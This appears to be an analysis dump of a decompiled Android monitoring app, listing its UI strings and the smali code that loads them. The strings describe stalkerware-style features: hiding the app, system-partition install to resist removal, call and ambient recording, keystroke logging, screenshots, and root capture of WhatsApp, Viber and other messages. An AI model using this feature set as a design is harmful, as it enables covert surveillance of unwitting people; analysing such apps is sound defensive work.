                    • To use this option, you must turn on the administrator. The password for unlocking the phone can be set on the client site or in the \"Commands\"
                    • SMS-notifications will be sent from your phone, shipping is done at the expense of the owner of a SIM card according to the tariffs to SMS
                    • An unknown error occurred
                    • Admin mode enabled
                    • Admin mode disabled
                    • Without backlight
                    • With backlight
                    • Error accessing the SD card. Check the SD card in your phone, as well as make sure that the phone is not connected to a computer in mass storage mode
                    • Error! Stop current audiorecord
                    • Your phone does not support these settings
                    • If you run the application, you see the login screen at once (without REGISTERED), it means that the phone is someone added, and it is registered in our system. If it was you, and you forget your password, use password recovery option on the website or through the application. If you do not register your phone, it\'s someone made for you. Write to us at mail
                    • . In a letter to be sure to include phone IMEI
                    • How to register?
                    • I am a new user and want to create an account
                    • Registration
                    • Login:
                    • Password:
                    • Forgot password?
                    • Minimum 4 characters. This password will be used for access control your phone remotely
                    • Will be used to reset forgotten passwords and for notifications, if you lose the device
                    • Once again, the password:
                    • I have an account and this phone has been added to my account
                    • When using this application, you agree to the terms: <a href=
                    • >
                    • </a>
                    • Create account
                    • No connect
                    • Check your Internet connection and try again
                    • Close
                    • invalid characters
                    • The passwords do not match
                    • This username is already registered
                    • Thank you for registering! Now you can log in using your login and configure the application. This phone has been successfully added to you to login to the device list will be displayed as:
                    • . To control your phone, you can use the site or the client for android, which can be downloaded from site in the \"Download\"
                    • Enter
                    • Invalid login or password
                    • Reset password
                    • Enter to
                    • Password recovery
                    • New password sent to your email
                    • Settings
                    • Error
                    • Your device blocked, contact the technical support
                    • Language
                    • \u0420\u0443\u0441\u0441\u043a\u0438\u0439
                    • English
                    • Administration
                    • Enable
                    • When enabled, it is possible to prevent its removal, forced to block your phone screen with the password or without it remotely via the website or SMS format the SD card or reset your phone to factory
                    • Help
                    • If you have when sending a command message \"GCM Not registered\", log on to CGM
                    • Registered GCM
                    • Disabled
                    • Add phone
                    • Add a device to your account to enter your existing username and password, and then \"Add\"
                    • Add
                    • I have an account and I want to add this phone to my account
                    • Adding the phone can not go to another tariff plan
                    • The device is added successfully. Free you can add devices:
                    • Device already add
                    • Phones that will receive notifications of change SIM
                    • Checking the SIM card
                    • Additional settings alert when a SIM
                    • Send to e-mail
                    • Interval send notify
                    • Sending interval data, every:
                    • Passwords
                    • Password to run the application through a set of numbers(SMS PASSWORD FOR COMMANDS), if the application is hidden,min 4 chars
                    • Call record
                    • Record mode
                    • Audio record
                    • Sending multimedia files only on WiFi
                    • Sending files
                    • Action on failed unlock
                    • Make photo
                    • Number of failed unlocks
                    • Phone is not supported by the application, check whether the SIM card is installed, restart your phone and try again.
                    • Warning!!!
                    • Register GCM is not satisfied, send commands through the GCM will be impossible, but you can send commands via TCP. Check whether you are logged in Google services (Gmail, Market) and the availability of an internet connection. After these actions click in the programe - enrollment will GCM. GCM - transport to send instructions from Google. TCP - transport command from the site. Both transport are interchangeable
                    • Loading. Please wait...
                    • Application successfully installed in the system tray number for the correct application MUST RESTART THE PHONE!
                    • Failed to install the program to the system tray, check Root rights and re-launch application
                    • Assigned this SIM card
                    • \u0421\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u0437\u044b\u043a
                    • Registration in the GCM service is successful, you can now manage your phone with online
                    • Hide application
                    • Unhide application
                    • The application can only be hided from the list of shortcuts to start.To run the application from the hidden mode it is necessary to send the command to the site or the client - \"Run Application\" or through a call to the number that you can set the password to run applications (more below).
                    • Modification application
                    • Update application (Root)
                    • Delete application
                    • Remove the application?
                    • Application has been successfully removed from the system tray, restart the phone
                    • Unable to remove the application, perhaps it is not installed or not installed correctly
                    • If successful, upgrading the application, the phone will reboot, update?
                    • To upgrade, you must connect the SD card
                    • You have the most recent version
                    • Unable to download the installation file
                    • Location
                    • Use GPS to locate the active screen
                    • In some countries recording telephone conversations is illegal. Please note that the other party must be notified of the fact of recording the conversation. When using the telephone recording obey the relevant laws and regulations in force in your country. All further responsibility for compliance with this law you assume.
                    • Phone SIM card was successfully updated
                    • Data transmission
                    • SMS
                    • Phone calls
                    • Send location by interval,every:
                    • Are you sure you want to transfer personal data?
                    • This application transmits sensitive information on the server side. Before using refer to the privacy police \n
                    • Uploading data with automatic on and off the Internet according to schedule
                    • VKontakte messages (Root)
                    • WhatsApp messages (Root)
                    • Viber messages (Root)
                    • Recording from the line, the quality is better than that of the microphone (by default it records from microphone)
                    • Your phone does not support the call recording source
                    • Codeword to send commands via SMS
                    • Archiving photo
                    • Additional service
                    • When service is running, the system (Android) will not stop an application in cases of lack of memory,but it will be running processes
                    • Run applications without requiring a password
                    • Split buy:
                    • minutes
                    • Enable execution of screen shots over the interval (in seconds, the minimum value of 2)
                    • Odnoklassniki messages (Root)
                    • Send reply SMS to commands via SMS from another phone
                    • Add archiving photo path
                    • Notify on change SIM
                    • 24 hours
                    • Actions when you unlock display
                    • Archiving keystrokes (no password intercepts!)
                    • Minimum number of characters in which you send the parcel data (for each application is considered separately)
                    • Terms of Service
                    • I confirm that I put the application on my phone and I am the owner of the phone, the program is installed deliberately and without compulsion
                    • I am aware of the criminal responsibility for the secret surveillance of third parties
                    • I pledge to use the software only for personal purposes
                    • I have read the privacy policy of software and service, I did not have issues and I agree with all the points set out
                    • Send commands
                    • For android 5 and above
                    • Energy saving
                    Position Instruction Meta Information
                    0new-instance v0, Landroid/util/SparseArray;
                    2invoke-direct {v0}, Landroid/util/SparseArray;-><init>()V
                    3iput-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    5iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    6const/16 v1, 0x115
                    8const-string v2, "Unable to move the application to the system partition, check the Root of law, as well as make sure that there is no write-protect the system partition"
                    10invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    12iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    13const/16 v1, 0x114
                    15const-string v2, "Application success moved to system partition"
                    17invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    19iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    20const/16 v1, 0x113
                    22const-string v2, "The application is installed as a system"
                    24invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    26iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    27const/16 v1, 0x112
                    29const-string v2, "In the case of a successful operation, the phone automatically restarts. If phone not reboot in 5 minutes, reboot it manualy. Continue?"
                    31invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    33iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    34const/16 v1, 0x10e
                    36const-string v2, "Filter applications for screenshots"
                    38invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    40iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    41const/16 v1, 0x10f
                    43const-string v2, "Select an application"
                    45invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    47iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    48const/16 v1, 0x110
                    50const-string v2, "all applications from the list"
                    52invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    54iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    55const/16 v1, 0x111
                    57const-string v2, "all applications except the list"
                    59invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    61iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    62const/16 v1, 0x10d
                    64const-string v2, "No access to the SD card. Without an SD card, you can not record calls and okuzhenie, pictures, screenshots, and perform other operations tied to the transfer of media files. Check the SD card in your phone."
                    66invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    68iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    69const/16 v1, 0x10c
                    71const-string v2, "Split file record"
                    73invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    75iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    76const/16 v1, 0x10b
                    78const-string v2, "Settings saved successfully"
                    80invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    82iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    83const/16 v1, 0x10a
                    85const-string v2, "To save the new settings, you must stop the current record"
                    87invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    89iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    90const/16 v1, 0x109
                    92const-string v2, "Stop"
                    94invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    96iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    97const/16 v1, 0x100
                    99const-string v2, "Record source"
                    101invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    103iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    104const/16 v1, 0x101
                    106const-string v2, "File format"
                    108invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    110iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    111const/16 v1, 0x102
                    113const-string v2, "Record codec"
                    115invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    117iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    118const/16 v1, 0x103
                    120const-string v2, "Delay before record"
                    122invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    124iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    125const/16 v1, 0x104
                    127const-string v2, "Save"
                    129invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    131iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    132const/16 v1, 0x105
                    134const-string v2, "Settings record environment"
                    136invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    138iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    139const/16 v1, 0x106
                    141const-string v2, "Settings record phone calls"
                    143invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    145iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    146const/16 v1, 0x107
                    148const-string v2, "Settings record Viber calls"
                    150invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    152iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    153const/16 v1, 0x108
                    155const-string v2, "Settings record WhatsApp calls"
                    157invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    159iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    160const/16 v1, 0xff
                    162const-string v2, "Congratulations!"
                    164invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    166iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    167const/16 v1, 0xfe
                    169const-string v2, "Cancel"
                    171invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    173iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    174const/16 v1, 0xfd
                    176const-string v2, "To use this option, you must turn on the administrator. The password for unlocking the phone can be set on the client site or in the \"Commands\""
                    178invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    180iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    181const/16 v1, 0xfc
                    183const-string v2, "SMS-notifications will be sent from your phone, shipping is done at the expense of the owner of a SIM card according to the tariffs to SMS"
                    185invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    187iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    188const/16 v1, 0xfa
                    190const-string v2, "An unknown error occurred"
                    192invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    194iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    195const/16 v1, 0xf8
                    197const-string v2, "Admin mode enabled"
                    199invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    201iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    202const/16 v1, 0xf9
                    204const-string v2, "Admin mode disabled"
                    206invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    208iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    209const/16 v1, 0xf5
                    211const-string v2, "Without backlight"
                    213invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    215iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    216const/16 v1, 0xf6
                    218const-string v2, "With backlight"
                    220invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    222iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    223const/16 v1, 0xee
                    225const-string v2, "Error accessing the SD card. Check the SD card in your phone, as well as make sure that the phone is not connected to a computer in mass storage mode"
                    227invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    229iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    230const/16 v1, 0xf0
                    232const-string v2, "Error! Stop current audiorecord"
                    234invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    236iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    237const/16 v1, 0xef
                    239const-string v2, "Your phone does not support these settings"
                    241invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    243iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    244const/16 v1, 0xed
                    245new-instance v2, Ljava/lang/StringBuilder;
                    247const-string v3, "If you run the application, you see the login screen at once (without REGISTERED), it means that the phone is someone added, and it is registered in our system. If it was you, and you forget your password, use password recovery option on the website or through the application. If you do not register your phone, it\'s someone made for you. Write to us at mail "
                    249invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    251sget-object v3, Lnet/vkurhandler/cd;->a:Ljava/lang/String;
                    253invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    254move-result-object v2
                    256const-string v3, ". In a letter to be sure to include phone IMEI"
                    258invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    259move-result-object v2
                    261invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    262move-result-object v2
                    264invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    266iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    267const/16 v1, 0xec
                    269const-string v2, "How to register?"
                    271invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    273iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    274const/16 v1, 0xeb
                    276const-string v2, "I am a new user and want to create an account"
                    278invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    280iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    281const/16 v1, 0xea
                    283const-string v2, "Registration"
                    285invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    287iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    288const/16 v1, 0xb
                    290const-string v2, "Login:"
                    292invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    294iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    295const/16 v1, 0xc
                    297const-string v2, "Password:"
                    299invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    301iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    302const/16 v1, 0xd
                    304const-string v2, "Forgot password?"
                    306invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    308iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    309const/16 v1, 0xe
                    311const-string v2, "Minimum 4 characters. This password will be used for access control your phone remotely"
                    313invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    315iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    316const/16 v1, 0xf
                    318const-string v2, "Will be used to reset forgotten passwords and for notifications, if you lose the device"
                    320invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    322iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    323const/16 v1, 0x10
                    325const-string v2, "Once again, the password:"
                    327invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    329iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    330const/16 v1, 0x11
                    332const-string v2, "I have an account and this phone has been added to my account"
                    334invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    336iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    337const/16 v1, 0x12
                    338new-instance v2, Ljava/lang/StringBuilder;
                    340const-string v3, "When using this application, you agree to the terms: <a href="
                    342invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    344sget-object v3, Lnet/vkurhandler/cd;->c:Ljava/lang/String;
                    346invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    347move-result-object v2
                    349const-string v3, ">"
                    351invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    352move-result-object v2
                    354sget-object v3, Lnet/vkurhandler/cd;->c:Ljava/lang/String;
                    356invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    357move-result-object v2
                    359const-string v3, "</a>"
                    361invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    362move-result-object v2
                    364invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    365move-result-object v2
                    367invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    369iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    370const/16 v1, 0x13
                    372const-string v2, "Create account"
                    374invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    376iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    377const/16 v1, 0x6e
                    379const-string v2, "No connect"
                    381invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    383iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    384const/16 v1, 0x6f
                    386const-string v2, "Check your Internet connection and try again"
                    388invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    390iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    391const/16 v1, 0x70
                    393const-string v2, "Close"
                    395invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    397iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    398const/16 v1, 0x71
                    400const-string v2, "invalid characters"
                    402invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    404iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    405const/16 v1, 0x72
                    407const-string v2, "The passwords do not match"
                    409invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    411iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    412const/16 v1, 0x74
                    414const-string v2, "This username is already registered"
                    416invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    418iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    419const/16 v1, 0x75
                    420new-instance v2, Ljava/lang/StringBuilder;
                    422const-string v3, "Thank you for registering! Now you can log in using your login and configure the application. This phone has been successfully added to you to login to the device list will be displayed as: "
                    424invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    426sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    428invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    429move-result-object v2
                    431const-string v3, ". To control your phone, you can use the site or the client for android, which can be downloaded from site in the \"Download\""
                    433invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    434move-result-object v2
                    436invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    437move-result-object v2
                    439invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    441iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    442const/16 v1, 0x76
                    444const-string v2, "Enter"
                    446invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    448iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    449const/16 v1, 0x77
                    451const-string v2, "Invalid login or password"
                    453invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    455iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    456const/16 v1, 0x79
                    458const-string v2, "Reset password"
                    460invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    462iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    463const/16 v1, 0x7a
                    465const-string v2, "Enter to "
                    467invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    469iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    470const/16 v1, 0x7b
                    472const-string v2, "Password recovery"
                    474invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    476iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    477const/16 v1, 0x7d
                    479const-string v2, "New password sent to your email"
                    481invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    483iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    484const/16 v1, 0x7e
                    486const-string v2, "Settings"
                    488invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    490iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    491const/16 v1, 0x7f
                    493const-string v2, "Error"
                    495invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    497iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    498const/16 v1, 0x80
                    500const-string v2, "Your device blocked, contact the technical support"
                    502invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    504iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    505const/16 v1, 0x81
                    507const-string v2, "Language"
                    509invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    511iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    512const/16 v1, 0x82
                    514const-string v2, "\u0420\u0443\u0441\u0441\u043a\u0438\u0439"
                    516invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    518iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    519const/16 v1, 0x83
                    521const-string v2, "English"
                    523invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    525iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    526const/16 v1, 0x84
                    528const-string v2, "Administration"
                    530invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    532iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    533const/16 v1, 0x85
                    535const-string v2, "Enable"
                    537invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    539iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    540const/16 v1, 0x86
                    542const-string v2, "When enabled, it is possible to prevent its removal, forced to block your phone screen with the password or without it remotely via the website or SMS format the SD card or reset your phone to factory"
                    544invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    546iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    547const/16 v1, 0x87
                    549const-string v2, "Help"
                    551invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    553iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    554const/16 v1, 0x88
                    556const-string v2, "If you have when sending a command message \"GCM Not registered\", log on to CGM"
                    558invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    560iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    561const/16 v1, 0x89
                    563const-string v2, "Registered GCM"
                    565invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    567iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    568const/16 v1, 0x8a
                    570const-string v2, "Disabled"
                    572invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    574iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    575const/16 v1, 0x8b
                    577const-string v2, "Add phone"
                    579invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    581iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    582const/16 v1, 0x8c
                    584const-string v2, "Add a device to your account to enter your existing username and password, and then \"Add\""
                    586invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    588iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    589const/16 v1, 0x8d
                    591const-string v2, "Add"
                    593invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    595iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    596const/16 v1, 0x8e
                    598const-string v2, "I have an account and I want to add this phone to my account"
                    600invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    602iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    603const/16 v1, 0x8f
                    605const-string v2, "Adding the phone can not go to another tariff plan"
                    607invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    609iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    610const/16 v1, 0x90
                    612const-string v2, "The device is added successfully. Free you can add devices: "
                    614invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    616iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    617const/16 v1, 0x91
                    619const-string v2, "Device already add"
                    621invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    623iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    624const/16 v1, 0x92
                    626const-string v2, "Phones that will receive notifications of change SIM"
